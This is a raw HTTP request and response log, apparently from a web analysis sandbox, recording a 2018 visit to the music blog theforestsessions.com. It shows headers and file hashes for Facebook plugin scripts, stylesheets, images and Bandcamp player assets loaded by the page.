X-FB-Debug: +v7yM5h5CNtOncoarwSTSeWa5UREUwsc3gyTNcDV/Jw4x+L/VubgR0/IMzfZ0GEKBxFlDXlnSApVe19qzhgjAw==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 19986


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   19986
Md5:    64c31ecd5aa27687e7810f2d44299e1d
Sha1:   5534d63b76022085c4981c7b13f891c541b29d7c
Sha256: 3a14f0141e1fa84428c466edc1fb2337d331aa6a82bf05ca9151392b75842b57
                                        
                                            GET /rsrc.php/v3/y9/r/x_-BooyXprI.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
X-XSS-Protection: 0
Expires: Sat, 14 Dec 2019 09:59:40 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Content-Encoding: gzip
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: 6S7ap5idQqv1Vs4ZllYXyA==
X-FB-Debug: 6FWTFZ09cv+utNoUio6OwaQp9KU1xczL91yfPz7oClWsuIqBEy3mb+IX6RX+zsAD1Z/x4zVvWcVD8MuRejcpDQ==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 35284


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   35284
Md5:    e92edaa7989d42abf556ce19965617c8
Sha1:   8e2d365f696e60cdd89ef643d2c80aed6ad5f865
Sha256: a5571210897a4ea47e5d083b9a1ae0146ccab58172e135e84f472fc2ca556d3c
                                        
                                            GET /v/t1.0-1/p50x50/1620550_610132389056430_1338756527_n.jpg?_nc_cat=100&_nc_ht=scontent.fosl1-1.fna&oh=fe7a436e18019ee16ad380079227e395&oe=5C8C00DC HTTP/1.1 
Host: scontent.fosl1-1.fna.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         213.52.81.145
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Last-Modified: Wed, 26 Feb 2014 18:23:17 GMT
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: max-age=1209600, no-transform
Access-Control-Expose-Headers: X-FB-CEC-Video-Limit
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 1957


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.02
Size:   1957
Md5:    6e5ac94ff9f346c5e94386bac05c2ddd
Sha1:   67840d1fc8a19f3a01b2324938fc6055e949395d
Sha256: 185c0d68218826739ae24a469a812603f957d19cea09086eb92cd7fcf80f916a
                                        
                                            GET /rsrc.php/v3/y-/r/Am4pPKHXClk.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Fri, 13 Dec 2019 19:39:36 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: rNZA6tBtRJgcJDQ20vaQ1Q==
X-FB-Debug: HUN8CxVSqXqy+MGTau02i5rZuIOKF/zjmUZzC90xs9eXdzQyjKn5NOHtZUo6/eWupQiJNIHKWGDaGV4Yx98asA==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 35424


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   35424
Md5:    acd640ead06d44981c243436d2f690d5
Sha1:   fd5b98225b98be97fb2e31e30a98b765545c3482
Sha256: 36c21ae2173ef45ddde3bc6e205003f27d1d60681947bc3d45dc9207798f3b7f
                                        
                                            GET /rsrc.php/v3/ys/l/0,cross/2fJHiuK35CG.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Sat, 14 Dec 2019 14:37:25 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: pBCBnbH9zY5ZOhlYElo0fQ==
X-FB-Debug: DDskXUTkGCQhFcjbD45MaonZ73DFz5v6rDa49D5mrA/NpNj4WpxvPpLEVA9Rm1uKNMh5lXykYv2GnoyARfQFQQ==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 3768


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   3768
Md5:    a410819db1fdcd8e593a1958125a347d
Sha1:   374a1344b95d0071338126ea1d65216ec65cf14c
Sha256: 7ffb0d593645fb94b6f495a582ae05e704a22977be8d8f3e81c38eb18bfd4085
                                        
                                            GET /rsrc.php/v3/ym/l/0,cross/mXvOQ5fYQq-.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Fri, 13 Dec 2019 10:57:11 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: nxQQ8CRs2ZTDakSLbnM9zg==
X-FB-Debug: vldgIhDTcLYuSEEMyQxi1jFscGhUWEPxAEV1unjr4nruWAnUr9Hnuh68sNi37XFrmQQFSb8HSfs+x/BIEh+Msg==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 731


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   731
Md5:    9f1410f0246cd994c36a448b6e733dce
Sha1:   5fd6161e1a882a1cac658dda3cc0fdeab4d62b1e
Sha256: 8a74f5ee1f3f69c060ee68a48ed9422d664adb341f0c0c478257529b3d4ea846
                                        
                                            GET /rsrc.php/v3/yR/r/GpE9sEpFb1e.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FLviKjJ9cymB.js%3Fversion%3D43%23cb%3Df5a3b5527da2f4%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff58652f35fa844%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Expires: Sat, 14 Dec 2019 13:20:52 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Content-MD5: /HqGLkkus24TgPLBGYtrQw==
X-FB-Debug: 012SBPEHX9i9zbbq3tuT566HdwRn7I6i4Wukw3i9Q9u6TEMSMc4F+4CGxMWX8e78oCBQdhcs/XF2vTItl/m2Xg==
Date: Fri, 14 Dec 2018 22:07:58 GMT
Connection: keep-alive
Content-Length: 20039


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   20039
Md5:    fc7a862e492eb36e1380f2c1198b6b43
Sha1:   46e4f3745bc8586b61b3dd283a5e43ceef091216
Sha256: f572a472ac3c325ed42f38890569ad49cf4b44938359b2f67d9dfa0a4ce84aef
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: 60gpBAK=R1224191420; 60gp=R4049272857; PHPSESSID=fe869948f42b4cde40ca9e42e4eca3ac

                                         
                                         213.186.33.19
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=iso-8859-1
                                        
Set-Cookie: 60gp=R4049272857; path=/; expires=Fri, 14-Dec-2018 23:18:16 GMT
Date: Fri, 14 Dec 2018 22:07:59 GMT
Server: Apache
Content-Length: 209
X-IPLB-Instance: 17321


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   209
Md5:    18ffb59b61525f781cf9251045be575d
Sha1:   bd7318b00b15b7a1c8a48524419fa2e5c27a5b6d
Sha256: b6682cab65d3243b5b75efb7279dbf49491957484780f2ba0a87632cc0e25642
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: 60gpBAK=R1224191420; 60gp=R4049272857; PHPSESSID=fe869948f42b4cde40ca9e42e4eca3ac

                                         
                                         213.186.33.19
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=iso-8859-1
                                        
Set-Cookie: 60gp=R4049272857; path=/; expires=Fri, 14-Dec-2018 23:16:48 GMT
Date: Fri, 14 Dec 2018 22:07:59 GMT
Server: Apache
Content-Length: 209
X-IPLB-Instance: 5182


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   209
Md5:    18ffb59b61525f781cf9251045be575d
Sha1:   bd7318b00b15b7a1c8a48524419fa2e5c27a5b6d
Sha256: b6682cab65d3243b5b75efb7279dbf49491957484780f2ba0a87632cc0e25642
                                        
                                            GET /tmpdata/cache/embedded_player_bundle_e7ae85e6088b4e6d8016d3a2a6ac96d1.css HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fblog%252F2012%252F09%252F18%252Fle-polair%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/v3_large_40b335e7d2273cdbbe2b231285051594.css HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fblog%252F2012%252F09%252F18%252Fle-polair%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/embedded_player_v3_bundle_da87b1c1138b7d55cc513d7683863c13.css HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fblog%252F2012%252F09%252F18%252Fle-polair%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---
                                        
                                            GET /tmpdata/cache/embedded_player_bundle_min_d34e49e56c7ce529377dff7972e0a0d5.js HTTP/1.1 
Host: s4.bcbits.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://bandcamp.com/EmbeddedPlayer.html/ref=http%253A%252F%252Ftheforestsessions.com%252Fblog%252Fblog%252F2012%252F09%252F18%252Fle-polair%252F/album=2437981243/size=large/bgcol=333333/linkcol=ffffff/transparent=true/

                                         
                                         0.0.0.0
                                        


--- Additional Info ---